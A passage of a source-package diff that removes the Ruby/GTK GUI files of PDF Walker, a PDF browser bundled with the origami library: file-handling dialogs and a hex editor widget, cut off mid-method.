Lesser General -Public License instead of this License. But first, please read -. diff -Nru origami-1.2.7/bin/gui/file.rb origami-1.2.7+really0.7.4/bin/gui/file.rb --- origami-1.2.7/bin/gui/file.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/file.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,385 +0,0 @@ -=begin - -= File - file.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugr - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - -=end - -require 'origami' -include Origami - -module PDFWalker - - class Walker < Window - - attr_reader :opened - attr_reader :explore_history - - def close - - @opened = nil - @filename = '' - @explorer_history.clear - - @treeview.clear - @objectview.clear - @hexview.clear - - [ - @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, - @document_menu_search, - @document_menu_gotocatalog, @document_menu_gotopage, @document_menu_gotorev, @document_menu_gotoobj, - @document_menu_properties, @document_menu_sign, @document_menu_ur - ].each do |menu| - menu.sensitive = false - end - - @statusbar.pop(@main_context) - - GC.start - end - - def open(filename = nil) - - dialog = Gtk::FileChooserDialog.new("Open PDF File", - self, - FileChooser::ACTION_OPEN, - nil, - [Stock::CANCEL, Dialog::RESPONSE_CANCEL], - [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) - - last_file = @config.recent_files.first - unless last_file.nil? - last_folder = last_file[0..last_file.size - File.basename(last_file).size - 1] - dialog.set_current_folder(last_folder) if File.directory?(last_folder) - end - - dialog.filter = FileFilter.new.add_pattern("*.acrodata").add_pattern("*.pdf").add_pattern("*.fdf") - - if filename or dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - - create_progressbar - - filename ||= dialog.filename - dialog.destroy - - begin - - if @help_menu_profile.active? - require 'ruby-prof' - RubyProf.start - end - - target = parsefile(filename) - - if @help_menu_profile.active? - result = RubyProf.stop - txtprinter = RubyProf::FlatPrinter.new(result) - htmlprinter = RubyProf::GraphHtmlPrinter.new(result) - txtprinter.print(File.new("#{@config.profile_output_dir}/#{File.basename(filename)}.log", "w")) - htmlprinter.print(File.new("#{@config.profile_output_dir}/#{File.basename(filename)}.log.html", "w")) - end - - if target - close if @opened - @opened = target - @filename = filename - - @config.last_opened_file(filename) - @config.save - update_recent_menu - - @last_search_result = [] - @last_search = - { - :expr => "", - :regexp => false, - :type => :body - } - - self.reload - - [ - @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, - @document_menu_search, - @document_menu_gotocatalog, @document_menu_gotopage, @document_menu_gotorev, @document_menu_gotoobj, - @document_menu_properties, @document_menu_sign, @document_menu_ur - ].each do |menu| - menu.sensitive = true - end - - @explorer_history.clear - - @statusbar.push(@main_context, "Viewing #{filename}") - - if @opened.is_a?(PDF) - pagemenu = Menu.new - @document_menu_gotopage.remove_submenu - page_index = 1 - @opened.pages.each do |page| - pagemenu.append(item = MenuItem.new(page_index.to_s).show) - item.signal_connect("activate") do @treeview.goto(page) end - page_index = page_index + 1 - end - @document_menu_gotopage.set_submenu(pagemenu) - - revmenu = Menu.new - @document_menu_gotorev.remove_submenu - rev_index = 1 - @opened.revisions.each do |rev| - revmenu.append(item = MenuItem.new(rev_index.to_s).show) - item.signal_connect("activate") do @treeview.goto(rev) end - rev_index = rev_index + 1 - end - @document_menu_gotorev.set_submenu(revmenu) - - goto_catalog - end - end - - rescue Exception => e - error("Error while parsing file.\n#{e} (#{e.class})\n" + e.backtrace.join("\n")) - end - - close_progressbar - self.activate_focus - - else - dialog.destroy - end - - end - - def deserialize - - dialog = Gtk::FileChooserDialog.new("Open dump file", - self, - FileChooser::ACTION_OPEN, - nil, - [Stock::CANCEL, Dialog::RESPONSE_CANCEL], - [Stock::OPEN, Dialog::RESPONSE_ACCEPT]) - - dialog.current_folder = "#{Dir.pwd}/dumps" - dialog.filter = FileFilter.new.add_pattern("*.gz") - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - - if @opened then close end - filename = dialog.filename - - begin - - @opened = PDF.deserialize(filename) - - self.reload - - [ @file_menu_close, @file_menu_saveas, @file_menu_serialize, @file_menu_refresh, - @document_menu_properties, @document_menu_sign, @document_menu_ur ].each do |menu| - menu.sensitive = true - end - - @explorer_history.clear - - @statusbar.push(@main_context, "Viewing dump of #{filename}") - - rescue Exception => e - error("This file cannot be loaded.\n#{e} (#{e.class})") - end - - end - - dialog.destroy - - end - - def serialize - - dialog = Gtk::FileChooserDialog.new("Save dump file", - self, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.do_overwrite_confirmation = true - dialog.current_folder = "#{Dir.pwd}/dumps" - dialog.current_name = "#{File.basename(@filename)}.dmp.gz" - dialog.filter = FileFilter.new.add_pattern("*.gz") - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - @opened.serialize(dialog.filename) - end - - dialog.destroy - end - - def save_data(caption, data, filename = "") - - dialog = Gtk::FileChooserDialog.new(caption, - self, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.do_overwrite_confirmation = true - dialog.current_name = File.basename(filename) - dialog.filter = FileFilter.new.add_pattern("*.*") - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - fd = File.open(dialog.filename, "w").binmode - fd << data - fd.close - end - - dialog.destroy - end - - def save - - dialog = Gtk::FileChooserDialog.new("Save PDF file", - self, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.filter = FileFilter.new.add_pattern("*.acrodata").add_pattern("*.pdf").add_pattern("*.fdf") - - folder = @filename[0..@filename.size - File.basename(@filename).size - 1] - dialog.set_current_folder(folder) - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - @opened.save(dialog.filename) - end - - dialog.destroy - end - - def save_dot - - dialog = Gtk::FileChooserDialog.new("Save dot file", - self, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.filter = FileFilter.new.add_pattern("*.dot") - - folder = @filename[0..@filename.size - File.basename(@filename).size - 1] - dialog.set_current_folder(folder) - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - @opened.export_to_graph(dialog.filename) - end - - dialog.destroy - end - - def save_graphml - - dialog = Gtk::FileChooserDialog.new("Save GraphML file", - self, - Gtk::FileChooser::ACTION_SAVE, - nil, - [Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL], - [Gtk::Stock::SAVE, Gtk::Dialog::RESPONSE_ACCEPT] - ) - - dialog.filter = FileFilter.new.add_pattern("*.graphml") - - folder = @filename[0..@filename.size - File.basename(@filename).size - 1] - dialog.set_current_folder(folder) - - if dialog.run == Gtk::Dialog::RESPONSE_ACCEPT - @opened.export_to_graphml(dialog.filename) - end - - dialog.destroy - end - - private - - def parsefile(filename) - update_bar = lambda { |obj| - if @progressbar then @progressbar.pulse end - while (Gtk.events_pending?) do Gtk.main_iteration end - } - - prompt_passwd = lambda { - passwd = "" - - dialog = Gtk::Dialog.new( - "This document is encrypted", - nil, - Gtk::Dialog::MODAL, - [ Gtk::Stock::OK, Gtk::Dialog::RESPONSE_OK ], - [ Gtk::Stock::CANCEL, Gtk::Dialog::RESPONSE_CANCEL ] - ) - - dialog.set_default_response(Gtk::Dialog::RESPONSE_OK) - - label = Gtk::Label.new("Please enter password:") - entry = Gtk::Entry.new - entry.signal_connect('activate') { - dialog.response(Gtk::Dialog::RESPONSE_OK) - } - - dialog.vbox.add(label) - dialog.vbox.add(entry) - dialog.show_all - - dialog.run do |response| - if response == Gtk::Dialog::RESPONSE_OK - passwd = entry.text - end - end - - dialog.destroy - - return passwd - } - - PDF.read(filename, - :verbosity => Parser::VERBOSE_INSANE, - :ignoreerrors => false, - :callback => update_bar, - :prompt_password => prompt_passwd - ) - end - - def create_progressbar - @progresswin = Dialog.new("Parsing file...", self, Dialog::MODAL) - @progresswin.vbox.add(@progressbar = ProgressBar.new.set_pulse_step(0.05)) - @progresswin.show_all - end - - def close_progressbar - @progresswin.close - end - end - -end diff -Nru origami-1.2.7/bin/gui/gtkhex.rb origami-1.2.7+really0.7.4/bin/gui/gtkhex.rb --- origami-1.2.7/bin/gui/gtkhex.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/bin/gui/gtkhex.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,1341 +0,0 @@ -=begin - -= File - gtkhex.rb - -= Info - This file is part of PDF Walker, a graphical PDF file browser - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - PDF Walker is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - PDF Walker is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with PDF Walker. If not, see . - - This work has been derived from the GHex project. Thanks to them. - Original implementation: Jaka Mocnik -=end - -require 'gtk2' - -module Gtk - - class HexEditor < Fixed - module View - HEX = 1 - ASCII = 2 - end - - module Group - BYTE = 1 - WORD = 2 - LONG = 4 - end - - class Highlight - attr_accessor :start, :end - attr_accessor :start_line, :end_line - attr_accessor :style - attr_accessor :min_select - attr_accessor :valid - end - - class AutoHighlight - attr_accessor :search_view - attr_accessor :search_string - attr_accessor :search_len - - attr_accessor :color - - attr_accessor :view_min - attr_accessor :view_max - - attr_accessor :highlights - end - - DEFAULT_FONT = "Monospace 12" - DEFAULT_CPL = 32 - DEFAULT_LINES = 16 - DISPLAY_BORDER = 4 - SCROLL_TIMEOUT = 100 - - type_register - - @@primary = Clipboard.get(Gdk::Selection::PRIMARY) - @@clipboard = Clipboard.get(Gdk::Selection::CLIPBOARD) - - def initialize(data = '') - super() - - @data = data - if RUBY_VERSION >= '1.9' - @data.force_encoding('binary') - end - - @scroll_timeout = -1 - @disp_buffer = "" - @starting_offset = 0 - - @xdisp_width = @adisp_width = 200 - @xdisp_gc = @adisp_gc = nil - @active_view = View::HEX - @group_type = Group::BYTE - @lines = @vis_lines = @top_line = @cpl = 0 - @cursor_pos = 0 - @lower_nibble = false - @cursor_shown = false - @button = 0 - @insert = false - @selecting = false - - @selection = Highlight.new - @selection.start = @selection.end = 0 - @selection.style = nil - @selection.min_select = 1 - @selection.valid = false - - @highlights = [ @selection ] - - @auto_highlight = nil - - @disp_font_metrics = load_font DEFAULT_FONT - @font_desc = Pango::FontDescription.new DEFAULT_FONT - - @char_width = get_max_char_width(@disp_font_metrics) - @char_height = Pango.pixels(@disp_font_metrics.ascent) + Pango.pixels(@disp_font_metrics.descent) + 2 - - self.can_focus = true - self.events = Gdk::Event::KEY_PRESS_MASK - self.border_width = DISPLAY_BORDER - - mouse_handler = lambda do |widget, event| - if event.event_type == Gdk::Event::BUTTON_RELEASE and event.button == 1 - if @scroll_timeout - GLib::Source.remove @scroll_timeout - @scroll_timeout = nil - @scroll_dir = 0 - end - - @selecting = false - Gtk.grab_remove(widget) - @button = 0 - elsif event.event_type == Gdk::Event::BUTTON_PRESS and event.button == 1 - self.grab_focus unless self.has_focus? - - Gtk.grab_add(widget) - @button = event.button - - focus_view = (widget == @xdisp) ? View::HEX : View::ASCII - - if @active_view == focus_view - if @active_view == View::HEX - hex_to_pointer(event.x, event.y) - else - ascii_to_pointer(event.x, event.y) - end - - unless @selecting - @selecting = true - set_selection(@cursor_pos, @cursor_pos) - end - else - hide_cursor - @active_view = focus_view - show_cursor - end - elsif event.event_type == Gdk::Event::BUTTON_PRESS and event.button == 2 - # TODO - else - @button = 0 - end - end - - @xdisp = DrawingArea.new - @xdisp.modify_font @font_desc - @xlayout = @xdisp.create_pango_layout('') - @xdisp.events = - Gdk::Event::EXPOSURE_MASK | - Gdk::Event::BUTTON_PRESS_MASK | - Gdk::Event::BUTTON_RELEASE_MASK | - Gdk::Event::BUTTON_MOTION_MASK | - Gdk::Event::SCROLL_MASK - - @xdisp.signal_connect 'realize' do - @xdisp_gc = Gdk::GC.new(@xdisp.window) - @xdisp_gc.set_exposures(true) - end - - @xdisp.signal_connect 'expose_event' do |xdisp, event| - imin = (event.area.y / @char_height).to_i - imax = ((event.area.y + event.area.height) / @char_height).to_i - imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 - - imax = [ imax, @vis_lines ].min - - render_hex_lines(imin, imax) - end - - @xdisp.signal_connect 'scroll_event' do |xdisp, event| - @scrollbar.event(event) - end - - @xdisp.signal_connect 'button_press_event' do |xdisp, event| - mouse_handler[xdisp, event] - end - - @xdisp.signal_connect 'button_release_event' do |xdisp, event| - mouse_handler[xdisp, event] - end - - @xdisp.signal_connect 'motion_notify_event' do |xdisp, event| - w, x, y, m = xdisp.window.pointer - - if y < 0 - @scroll_dir = -1 - elsif y >= xdisp.allocation.height - @scroll_dir = 1 - else - @scroll_dir = 0 - end - - if @scroll_dir != 0 - if @scroll_timeout == nil - @scroll_timeout = GLib::Timeout.add(SCROLL_TIMEOUT) { - if @scroll_dir < 0 - set_cursor([ 0, @cursor_pos - @cpl ].max) - elsif @scroll_dir > 0 - set_cursor([ @data.size - 1, @cursor_pos + @cpl ].min) - end - - true - } - next - end - else - if @scroll_timeout != nil - GLib::Source.remove @scroll_timeout - @scroll_timeout = nil - end - end - - next if event.window != xdisp.window - - hex_to_pointer(x,y) if @active_view == View::HEX and @button == 1 - end - - put @xdisp, 0, 0 - @xdisp.show - - @adisp = DrawingArea.new - @adisp.modify_font @font_desc - @alayout = @adisp.create_pango_layout('') - @adisp.events = - Gdk::Event::EXPOSURE_MASK | - Gdk::Event::BUTTON_PRESS_MASK | - Gdk::Event::BUTTON_RELEASE_MASK | - Gdk::Event::BUTTON_MOTION_MASK | - Gdk::Event::SCROLL_MASK - - - @adisp.signal_connect 'realize' do - @adisp_gc = Gdk::GC.new(@adisp.window) - @adisp_gc.set_exposures(true) - end - - @adisp.signal_connect 'expose_event' do |adisp, event| - imin = (event.area.y / @char_height).to_i - imax = ((event.area.y + event.area.height) / @char_height).to_i - imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 - - imax = [ imax, @vis_lines ].min - render_ascii_lines(imin, imax) - end - - @adisp.signal_connect 'scroll_event' do |adisp, event| - @scrollbar.event(event) - end - - @adisp.signal_connect 'button_press_event' do |adisp, event| - mouse_handler[adisp, event] - end - - @adisp.signal_connect 'button_release_event' do |adisp, event| - mouse_handler[adisp, event] - end - - @adisp.signal_connect 'motion_notify_event' do |adisp, event| - w, x, y, m = adisp.window.pointer - - if y < 0 - @scroll_dir = -1 - elsif y >= adisp.allocation.height - @scroll_dir = 1 - else - @scroll_dir = 0 - end - - if @scroll_dir != 0 - if @scroll_timeout == nil - @scroll_timeout = GLib::Timeout.add(SCROLL_TIMEOUT) { - if @scroll_dir < 0 - set_cursor([ 0, @cursor_pos - @cpl ].max) - elsif @scroll_dir > 0 - set_cursor([ @data.size - 1, @cursor_pos + @cpl ].min) - end - - true - } - next - end - else - if @scroll_timeout != nil - GLib::Source.remove @scroll_timeout - @scroll_timeout = nil - end - end - - next if event.window != adisp.window - - ascii_to_pointer(x,y) if @active_view == View::ASCII and @button == 1 - end - - put @adisp, 0, 0 - @adisp.show - - @adj = Gtk::Adjustment.new(0, 0, 0, 0, 0, 0) - @scrollbar = Gtk::VScrollbar.new(@adj) - @adj.signal_connect 'value_changed' do |adj| - unless @xdisp_gc.nil? or @adisp_gc.nil? or not @xdisp.drawable? or not @adisp.drawable? - - source_min = (adj.value.to_i - @top_line) * @char_height - source_max = source_min + @xdisp.allocation.height - dest_min = 0 - dest_max = @xdisp.allocation.height - - rect = Gdk::Rectangle.new(0, 0, 0, 0) - @top_line = adj.value.to_i - if source_min < 0 - rect.y = 0 - rect.height = -source_min - rect_height = [ rect.height, @xdisp.allocation.height ].min - source_min = 0 - dest_min = rect.height - else - rect.y = 2 * @xdisp.allocation.height - source_max - rect.y = 0 if rect.y < 0 - rect.height = @xdisp.allocation.height - rect.y - source_max = @xdisp.allocation.height - dest_max = rect.y - end - - if source_min != source_max - @xdisp.window.draw_drawable( - @xdisp_gc, - @xdisp.window, - 0, source_min, - 0, dest_min, - @xdisp.allocation.width, - source_max - source_min - ) - @adisp.window.draw_drawable( - @adisp_gc, - @adisp.window, - 0, source_min, - 0, dest_min, - @adisp.allocation.width, - source_max - source_min - ) - - if @offsets - if @offsets_gc.nil? - @offsets_gc = Gdk::GC.new(@offsets.window) - @offsets_gc.set_exposures(true) - end - - @offsets.window.draw_drawable( - @offsets_gc, - @offsets.window, - 0, source_min, - 0, dest_min, - @offsets.allocation.width, - source_max - source_min - ) - end - - # TODO update_all_auto_highlights(true, true) - invalidate_all_highlights - - rect.width = @xdisp.allocation.width - @xdisp.window.invalidate(rect, false) - rect.width = @adisp.allocation.width - @adisp.window.invalidate(rect, false) - - if @offsets - rect.width = @offsets.allocation.width - @offsets.window.invalidate(rect, false) - end - end - end - end - - put @scrollbar, 0, 0 - @scrollbar.show - end - - def set_selection(s, e) - e = [ e, @data.size ].min - - @@primary.clear if @selection.start != @selection.end - - os, oe = [ @selection.start, @selection.end ].sort - - @selection.start = [ 0, s ].max - @selection.start = [ @selection.start, @data.size ].min - @selection.end = [ e, @data.size ].min - - invalidate_highlight(@selection) - - ns, ne = [ @selection.start, @selection.end ].sort - - if ns != os and ne != oe - bytes_changed([ns, os].min, [ne, oe].max) - elsif ne != oe - bytes_changed(*[ne, oe].sort) - elsif ns != os - bytes_changed(*[ns, os].sort) - end - - if @selection.start != @selection.end - if @active_view == View::HEX - brk_len = 2 * @cpl + @cpl / @group_type - format_xblock(s,e) - (@disp_buffer.size / brk_len + 1).times do |i| @disp_buffer.insert(i * (brk_len + 1), $/) end - else - brk_len = @cpl - format_ablock(s,e) - end - - @@primary.set_text(@disp_buffer) - end - end - - def get_selection - [ @selection.start, @selection.end ].sort - end - - def clear_selection - set_selection(0, 0) - end - - def cursor - @cursor_pos - end - - def set_cursor(index) - return if index < 0 or index > @data.size - - old_pos = @cursor_pos - index -= 1 if @insert and index == @data.size - index = [ 0, index ].max - - hide_cursor - - @cursor_pos = index - return if @cpl == 0 - - y = index / @cpl - if y >= @top_line + @vis_lines - @adj.value = [ y - @vis_lines + 1, @lines - @vis_lines ].min - @adj.value = [ 0, @adj.value ].max - @adj.signal_emit 'value_changed' - elsif y < @top_line - @adj.value = y - @adj.signal_emit 'value_changed' - end - - @lower_nibble = false if index == @data.size - - if @selecting - set_selection(@selection.start, @cursor_pos) - bytes_changed(*[@cursor_pos, old_pos].sort) - else# @selection.start != @selection.end - s, e = [@selection.start, @selection.end].sort - @selection.end = @selection.start = @cursor_pos - bytes_changed(s, e) - end - - self.signal_emit 'cursor_moved' - - bytes_changed(old_pos, old_pos) - show_cursor - end - - def set_cursor_xy(x, y) - pos = y.to_i * @cpl + x.to_i - return if y < 0 or y >= @lines or x < 0 or x >= @cpl or pos > @data.size - - set_cursor(pos) - end - - def set_cursor_on_lower_nibble(bool) - if @selecting - bytes_changed(@cursor_pos, @cursor_pos) - @lower_nibble = bool - elsif @selection.start != @selection.end - s, e = [ @selection.start, @selection.end ].sort - - @selection.start = @selection.end = 0 - bytes_changed(s, e) - @lower_nibble = bool - else - hide_cursor - @lower_nibble = bool - show_cursor - end - end - - def set_group_type(type) - hide_cursor - @group_type = type - recalc_displays(self.allocation.width, self.allocation.height) - self.queue_resize - show_cursor - end - - def show_offsets(bool) - return unless @show_offsets ^ bool - - @show_offsets = bool - if bool - show_offsets_widget - else - hide_offsets_widget - end - end - - def set_font(fontname) - @font_desc = Pango::FontDescription.new(fontname) - @disp_font_metrics = load_font(fontname) - - @xdisp.modify_font(@font_desc) if @xdisp - @adisp.modify_font(@font_desc) if @adisp - @offsets.modify_font(@font_desc) if @offsets - - @char_width = get_max_char_width(@disp_font_metrics) - @char_height = Pango.pixels(@disp_font_metrics.ascent) + Pango.pixels(@disp_font_metrics.descent) + 2 - recalc_displays(self.allocation.width, self.allocation.height) - - redraw_widget - end - - def set_data(data) - prev_data_size = @data.size - @data = data.dup - - recalc_displays(self.allocation.width, self.allocation.height) - - set_cursor 0 - bytes_changed(0, [ prev_data_size, @data.size ].max) - redraw_widget - end - - def validate_highlight(hl) - unless hl.valid - hl.start_line = [ hl.start, hl.end ].min / @cpl - @top_line - hl.end_line = [ hl.start, hl.end ].max / @cpl - @top_line - hl.valid = true - end - end - - def invalidate_highlight(hl) - hl.valid = false - end - - def invalidate_all_highlights - @highlights.each do |hl| invalidate_highlight(hl) end - end - - private - - signal_new( - 'data_changed', - GLib::Signal::RUN_FIRST, - nil, - nil, - String - ) - - signal_new( - 'cursor_moved', - GLib::Signal::RUN_FIRST, - nil, - nil - ) - - def signal_do_cursor_moved - end - - def signal_do_data_changed(data) - # TODO - end - - def signal_do_realize - super - - self.window.set_back_pixmap(nil, true) - end - - def signal_do_size_allocate(alloc) - hide_cursor - - recalc_displays(alloc.width, alloc.height) - - self.set_allocation(alloc.x, alloc.y, alloc.width, alloc.height) - self.window.move_resize( - alloc.x, alloc.y, - alloc.width, alloc.height - ) if self.realized? - - bw = self.border_width - xt = widget_get_xt - yt = widget_get_yt - - my_alloc = Gtk::Allocation.new(0, 0, 0, 0) - my_alloc.x = bw + xt - my_alloc.y = bw + yt - my_alloc.height = [ alloc.height - 2*bw - 2*yt, 1 ].max - if @show_offsets - my_alloc.width = 8 * @char_width - @offsets.size_allocate(my_alloc) - @offsets.queue_draw - my_alloc.x += 2*xt + my_alloc.width - end - - my_alloc.width = @xdisp_width - @xdisp.size_allocate(my_alloc) - - my_alloc.x = alloc.width - bw - @scrollbar.requisition[0] - my_alloc.y = bw - my_alloc.width = @scrollbar.requisition[0] - my_alloc.height = [ alloc.height - 2*bw, 1 ].max - @scrollbar.size_allocate(my_alloc) - - my_alloc.x -= @adisp_width + xt - my_alloc.y = bw + yt - my_alloc.width = @adisp_width - my_alloc.height = [ alloc.height - 2*bw - 2*yt, 1 ].max - @adisp.size_allocate(my_alloc) - - show_cursor - end - - def signal_do_size_request(req) - sb_width, sb_height = @scrollbar.size_request - bw = self.border_width - xt, yt = widget_get_xt, widget_get_yt - - width = 4*xt + 2*bw + sb_width + - @char_width*(DEFAULT_CPL + (DEFAULT_CPL-1)/@group_type) - - width += 2*xt + 8*@char_width if @show_offsets - - height = DEFAULT_LINES * @char_height + 2*yt + 2*bw - - req[0] = width - req[1] = height - end - - def signal_do_expose_event(event) - draw_shadow(event.area) - super(event) - - true - end - - def signal_do_key_press_event(event) - old_cp = @cursor_pos - - hide_cursor - @selecting = (event.state & Gdk::Window::SHIFT_MASK) != 0 - ret = true - - case event.keyval - when Gdk::Keyval::GDK_KP_Tab, Gdk::Keyval::GDK_Tab - @active_view = (@active_view == View::HEX) ? View::ASCII : View::HEX - - when Gdk::Keyval::GDK_Up - set_cursor(@cursor_pos - @cpl) - - when Gdk::Keyval::GDK_Down - set_cursor(@cursor_pos + @cpl) - - when Gdk::Keyval::GDK_Page_Up - set_cursor([0, @cursor_pos - @vis_lines * @cpl].max) - - when Gdk::Keyval::GDK_Page_Down - set_cursor([@cursor_pos + @vis_lines * @cpl, @data.size].min) - - when Gdk::Keyval::GDK_Left - if @active_view == View::HEX - if @selecting - set_cursor(@cursor_pos - 1) - else - @lower_nibble ^= 1 - set_cursor(@cursor_pos - 1) if @lower_nibble - end - else - set_cursor(@cursor_pos - 1) - end - - when Gdk::Keyval::GDK_Right - if @active_view == View::HEX - if @selecting - set_cursor(@cursor_pos + 1) - else - @lower_nibble ^= 1 - set_cursor(@cursor_pos + 1) unless @lower_nibble - end - else - set_cursor(@cursor_pos + 1) - end - - when Gdk::Keyval::GDK_c, Gdk::Keyval::GDK_C - if event.state & Gdk::Window::CONTROL_MASK != 0 - s,e = @selection.start, @selection.end + 1 - if @active_view == View::HEX - brk_len = 2 * @cpl + @cpl / @group_type - format_xblock(s,e) - (@disp_buffer.size / brk_len + 1).times do |i| @disp_buffer.insert(i * (brk_len + 1), $/) end - else - brk_len = @cpl - format_ablock(s,e) - end - - @@clipboard.set_text(@disp_buffer) - end - else - ret = false - end - - show_cursor - - ret - end - - def hex_to_pointer(mx, my) - cy = @top_line + my.to_i / @char_height - - cx = x = 0 - while cx < 2 * @cpl - x += @char_width - - if x > mx - set_cursor_xy(cx / 2, cy) - set_cursor_on_lower_nibble(cx % 2 != 0) - - cx = 2 * @cpl - end - - cx += 1 - x += @char_width if ( cx % (2 * @group_type) == 0 ) - end - end - - def ascii_to_pointer(mx, my) - cx = mx / @char_width - cy = @top_line + my / @char_height - - set_cursor_xy(cx, cy) - end - - def load_font(fontname) - desc = Pango::FontDescription.new(fontname) - context = Gdk::Pango.context - context.set_language(Gtk.default_language) - - font = context.load_font(desc) - - font.metrics(context.language) - end - - def draw_shadow(area) - bw = self.border_width - x = bw - xt = widget_get_xt - - if @show_offsets - self.style.paint_shadow( - self.window, - Gtk::STATE_NORMAL, Gtk::SHADOW_IN, - nil, self, nil, - bw, bw, - 8*@char_width + 2*xt, self.allocation.height - 2*bw - ) - - x += 8*@char_width + 2*xt - end - - self.style.paint_shadow( - self.window, - Gtk::STATE_NORMAL, Gtk::SHADOW_IN, - nil, self, nil, - x, bw, - @xdisp_width + 2*xt, self.allocation.height - 2*bw - ) - - self.style.paint_shadow( - self.window, - Gtk::STATE_NORMAL, Gtk::SHADOW_IN, - nil, self, nil, - self.allocation.width - bw - @adisp_width - @scrollbar.requisition[0] - 2*xt, bw, - @adisp_width + 2*xt, self.allocation.height - 2*bw - ) - end - - def redraw_widget - return unless self.realized? - - self.window.invalidate(nil, false) - end - - def widget_get_xt - self.style.xthickness - end - - def widget_get_yt - self.style.ythickness - end - - def recalc_displays(width, height) - old_cpl = @cpl - - w, h = @scrollbar.size_request - @xdisp_width = 1 - @adisp_width = 1 - - total_width = width - 2 * self.border_width - 4 * widget_get_xt - w - total_width -= 2 * widget_get_xt + 8 * @char_width if @show_offsets - - total_cpl = total_width / @char_width - if total_cpl == 0 or total_width < 0 - @cpl = @lines = @vis_lines = 0 - return - end - - @cpl = 0 - begin - break if @cpl % @group_type == 0 and total_cpl < @group_type * 3 - - @cpl += 1 - total_cpl -= 3 - - total_cpl -= 1 if @cpl % @group_type == 0 - end while total_cpl > 0 - - return if @cpl == 0 - - if @data.empty? - @lines = 1 - else - @lines = @data.size / @cpl - @lines += 1 if @data.size % @cpl != 0 - end - - @vis_lines = (height - 2*self.border_width - 2*widget_get_yt).to_i / @char_height.to_i - @adisp_width = @cpl * @char_width + 1 - xcpl = @cpl * 2 + (@cpl - 1) / @group_type - @xdisp_width = xcpl * @char_width + 1 - - @disp_buffer = '' - - @adj.value = [@top_line * old_cpl / @cpl, @lines - @vis_lines].min - @adj.value = [ 0, @adj.value ].max - if @cursor_pos / @cpl < @adj.value or @cursor_pos / @cpl > @adj.value + @vis_lines - 1 - @adj.value = [ @cursor_pos / @cpl, @lines - @vis_lines ].min - @adj.value = [ 0, @adj.value ].max - end - - @adj.lower = 0 - @adj.upper = @lines - @adj.step_increment = 1 - @adj.page_increment = @vis_lines - 1 - @adj.page_size = @vis_lines - - @adj.signal_emit 'changed' - @adj.signal_emit 'value_changed' - end - - def get_max_char_width(metrics) - - layout = self.create_pango_layout('') - layout.set_font_description(@font_desc) - char_widths = [ 0 ] - - (1..100).each do |i| - logical_rect = Pango::Rectangle.new(0, 0, 0, 0) - if is_displayable(i.chr) - layout.set_text(i.chr) - logical_rect = layout.pixel_extents[1] - end - char_widths << logical_rect.width - end - - char_widths[48..122].max - end - - def show_cursor - unless @cursor_shown - if @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? - render_xc - render_ac - end - - @cursor_shown = true - end - end - - def hide_cursor - if @cursor_shown - if @xdisp_gc and @adisp_gc and @xdisp.realized? and @adisp.realized? - render_byte(@cursor_pos) - end - - @cursor_shown = false - end - end - - def show_offsets_widget - @offsets = DrawingArea.new - @offsets.modify_font @font_desc - @olayout = @offsets.create_pango_layout('') - - @offsets.events = Gdk::Event::EXPOSURE_MASK - @offsets.signal_connect 'expose_event' do |offsets, event| - imin = (event.area.y / @char_height).to_i - imax = ((event.area.y + event.area.height) / @char_height).to_i - imax += 1 if (event.area.y + event.area.height).to_i % @char_height != 0 - - imax = [ imax, @vis_lines ].min - - render_offsets(imin, imax) - end - - put @offsets, 0, 0 - @offsets.show - end - - def hide_offsets_widget - if @offsets - self.remove(@offsets) - @offsets = @offsets_gc = nil - end - end - - def is_displayable(c) - if RUBY_VERSION < '1.9' - c = c[0] - else - c = c.ord - end - - c >= 0x20 and c < 0x7f - end - - def bytes_changed(s, e) - start_line = s / @cpl - @top_line - end_line = e / @cpl - @top_line - - return if end_line < 0 or start_line > @vis_lines - - 